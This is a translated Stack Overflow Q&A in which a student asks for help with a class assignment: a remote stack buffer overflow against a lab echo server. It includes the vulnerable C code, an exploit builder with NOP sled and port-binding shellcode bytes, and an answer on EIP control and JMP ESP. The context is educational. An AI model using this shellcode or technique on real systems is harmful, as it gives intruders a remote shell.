gpt4 book ai didi

linux - 需要帮助找出远程缓冲区溢出

转载 作者:太空狗 更新时间:2023-10-29 11:09:49 24 4
gpt4 key购买 nike

它用于类作业。我有点卡住了,我只有一些问题可以帮助我继续前进。 (对我来说没有作弊:p)我认为本科类的残酷作业......

我们应该做的:

nc compName.cs.myschool.edu 9050

如果我们输入一些内容然后按 Ctrl+D,服务器就会监听/回显。我们需要使用该输入来破解服务器程序并创建一个具有 sudo 权限的帐户。

相关代码如下:

int main(int argc, char const *argv[])
{
char input[1000];
int sockfd, newsockfd, portno, clilen, val = 1;
struct sockaddr_in serv_addr, cli_addr;

// some server code that I don't understand but probably isn't super relevant

dup2(newsockfd, 0); // bind stdin
dup2(newsockfd, 1); // bind stdout
dup2(newsockfd, 2); // bind stderr

bufferCopy( input, 0x1000, stdin );
printf("You entered: %s\n", input );

close(newsockfd);
close(sockfd);
return 0;
}

void bufferCopy( char * input, int inputLen, FILE * file )
{
int i = 0;
int c = 0;
while( (c = fgetc( file )) != EOF && i < inputLen - 2 )
{
input[i++] = c;
}
input[i] = 0;
}

更新:我知道我需要做什么:

  • 无操作 sled(一堆 0x90)
  • 后面是端口绑定(bind) shellcode(来自书籍)
  • 后面是返回地址(“输入”变量的地址)重复了很多次

更新:我在做什么:

  • 我使用以下代码编写了一个文件。
  • 猫攻击代码 | nc compName.cs.myschool.edu 9090

    static const int  NUM_NOPS = 800;
    static const char NOP = 0x90;
    static const int NUM_ADDRESSES = 800;

    static char nopSled[800];
    char shellcode[] = { // on port 31334 == 0x7a66
    "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
    "\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x66\x66\x53\x89\xe1\x6a\x10"
    "\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80"
    "\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f"
    "\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"
    };
    static const char returnAddress[] = {0xbf, 0xff, 0xf4, 0x40};

    int i=0;
    for(i=0; i < NUM_NOPS; i++){
    nopSled[i] = NOP;
    }

    FILE * pFile;
    pFile = fopen("attackCode", "w");
    fwrite( nopSled, 1, sizeof(nopSled), pFile );
    fwrite( shellcode, 1, 92, pFile );
    for(i=0; i < NUM_ADDRESSES; i++ ){
    fwrite( returnAddress, 1, 4, pFile );
    }
    fclose(pFile);

更新:我不明白的是:

  • 返回指针在内存中的位置....我怎样才能找到它?
  • ^ 因此 No-op 部分需要多长时间,或者重复返回地址多少次
  • “输入”的地址是什么——为 printf(%p) 和 gdb 获取不同的值
  • 为什么我什么都没有发生...如果我写了很多无操作等,甚至没有段错误。

如有任何帮助,我们将不胜感激!

最佳答案

通常,您会执行以下步骤:

  1. 对可利用的缓冲区进行模糊测试。
  2. 弄清楚如何控制 EIP。
  3. 弄清楚如何获取您的 shellcode。

至于第一点,您已经找到了触发溢出的方法(基本上任何大于 1000 字节的输入值)。

由于堆栈上的缓冲区溢出会覆盖缓冲区地址以下的数据,并且由于 input 是在 main 函数帧的堆栈上分配的,因此缓冲区的某些部分将覆盖 main 调用的返回地址。要找出哪个部分覆盖了 EIP,可以使用 metasploit’s pattern_create and pattern_offset tools .

现在棘手的部分可能是找到一种有效修改 EIP 以跳转到您的 shellcode 的方法。使用这样的缓冲区:

AA…AA BBBB CC…CC

main 返回时的堆栈如下所示:


0x41414141
0x41414141
0x42424242 <= ESP
0x43434343
0x43434343

由于 return 将 EIP 设置为堆栈顶部的值(此处为 BBBB)并通过减少堆栈指针来降低堆栈,因此 JMP ESP 将跳转在 BBBB 之前的 shellcode 右边:


0x41414141
0x41414141
0x42424242
0x43434343 <= ESP,EIP
0x43434343

要找到 JMP ESP 指令,请查看加载的模块/库并在 gdb 中检查它们:

find /b <from addr>, <to addr>, 0xff, 0xe4

找到一个 JMP ESP 的地址,您可以使用它来覆盖堆栈上的返回地址以跳转到您的 shellcode。

关于linux - 需要帮助找出远程缓冲区溢出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15262145/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com